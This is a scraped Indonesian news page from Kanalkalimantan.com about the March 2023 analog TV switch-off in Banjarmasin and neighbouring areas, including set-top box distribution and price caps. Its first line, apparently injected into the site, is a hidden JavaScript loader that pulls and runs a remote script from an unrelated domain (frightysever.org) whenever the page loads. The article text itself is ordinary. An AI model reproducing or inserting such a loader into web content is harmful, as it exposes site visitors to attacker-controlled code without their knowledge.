(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kementerian Komunikasi dan Informatika (Kemkominfo) Republik Indonesia akan menghentikan siaran TV analog di Kota Banjarmasin terhitung Senin (20/3/2023) pukul 23.59 Wita malam ini.
Selain Banjarmasin, kebijakan Analog Switch Off (ASO) tersebut juga berlaku pada daerah tetangga yaitu Kota Banjarbaru, Kabupaten Banjar, Kabupaten Barito Kuala, dan Kabupaten Tanah Laut.
Direktur Jenderal Penyelenggaraan Pos Informatika (Ditjen PPIK) Kemenkominfo RI, Geryantika, ASO yang dimulai pada 20 Maret 2022 diprioritaskan untuk dilaksanakan di wilayah Kalimantan I.
“Pada 20 Maret 2023 pukul 23.59 waktu setempat, ASO diprioritaskan untuk dilaksanakan di wilayah Kalimantan 1 yakni Kota Banjarmasin dan 4 kabupaten/kota lainnya,” kata Geryantika dikutip dari Suara.com jaringan Kanalkalimantan.com, Senin (20/3/2023) siang.
Baca juga: Bupati Banjar Minta Dinas Kominfo Evaluasi Baliho di Sepanjang Jalan A Yani
Sedangkan, untuk 9 kabupaten di wilayah Bali dan Sumatera Selatan 1 yakni Palembang yang sebelumnya juga dijadwalkan pemberlakuan ASO pada 20 Maret ditunda pada tanggal 31 Maret 2023 pukul 23.59 waktu setempat.
Sebelumnya juga, pemberlakuan ASO di wilayah Kalimantan I sempat ditunda dari yang awalnya dijadwalkan 10 Januari 2023 menjadi 20 Maret 2023.
Hal itu dikarenakan masih ada masyarakat Kalsel yang belum mempunyai STB untuk menangkap siaran digital dan masih rendahnya persentase penyaluran STB untuk masyarakat.
Sementara itu, untuk mendukung kebijakan ASO Pemerintah Provinsi (Pemprov) Kalimantan Selatan terus mendistribusikan STB kepada masyarakat miskin.
Per tanggal 13 Maret lalu saja, Gubernur Kalsel melalui Plt Asisten Bidang Administrasi Umum Sekda Kalsel Subhan mengatakan pendistribusian STB sudah mencapai 78 persen.
Baca juga: IWAPI HSU Gelar Operasi Pasar Murah Menjelang Puasa
“Pemerintah provinsi Kalsel akan terus berupaya melakukan percepatan STB ini kepada masyarakat miskin ekstrem agar bisa menikmati siaran digital pada 20 Maret nanti,” kata Subhan.
Plt Asisten Bidang Administrasi Umum Pemprov Kalsel ini juga menghimbau kepada pedagang ritel modern dan eceran untuk mematuhi Harga Eceran Tertinggi (HET) yang telah ditetapkan oleh pemerintah.
Untuk harga eceran tertinggi STB sendiri telah ditetapkan pemerintah beberapa waktu lalu yaitu sekitar Rp 175 ribu. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.